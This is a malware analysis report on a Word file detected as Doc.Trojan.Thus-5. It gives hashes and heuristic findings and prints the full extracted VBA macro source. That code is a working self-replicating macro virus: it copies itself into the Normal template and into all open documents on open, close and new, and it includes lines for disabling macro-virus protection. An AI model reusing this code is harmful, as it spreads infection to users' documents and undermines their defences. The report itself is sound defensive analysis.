Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3c14049fdf4eb2b5…

MALICIOUS

Office (OLE)

38.0 KB Created: 2008-07-09 09:42:00 Authoring application: Microsoft Word 10.0 First seen: 2014-02-03
MD5: 9ebee79cdb0ef2d64df5e8df2fb6bc64 SHA-1: 78db11b8b12a4e17128556fd9a5a9a5ad957225e SHA-256: 3c14049fdf4eb2b5b09f09e6a855c10c11c56dd3fd3aef772419d9e2a448d92b
208 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-5
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        'On Error Resume Next
        'Application.Options.VirusProtection = False
        Set prevDocument = ActiveDocument
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    'Thus_001'

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2293 bytes
SHA-256: 8b749d4605c879dccb362b4e4b3c0c8a288671262d77fddf5f43df64cbbcc040
Detection
ClamAV: Doc.Trojan.Thus-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
'Thus_001'
    'On Error Resume Next
    'Application.Options.VirusProtection = False
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
    '.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    'End If
    
    If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).codemodule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .codemodule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).codemodule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .codemodule.deletelines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).codemodule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .codemodule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).codemodule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).codemodule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For i = 1 To .FoundFiles.Count
       Next i
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub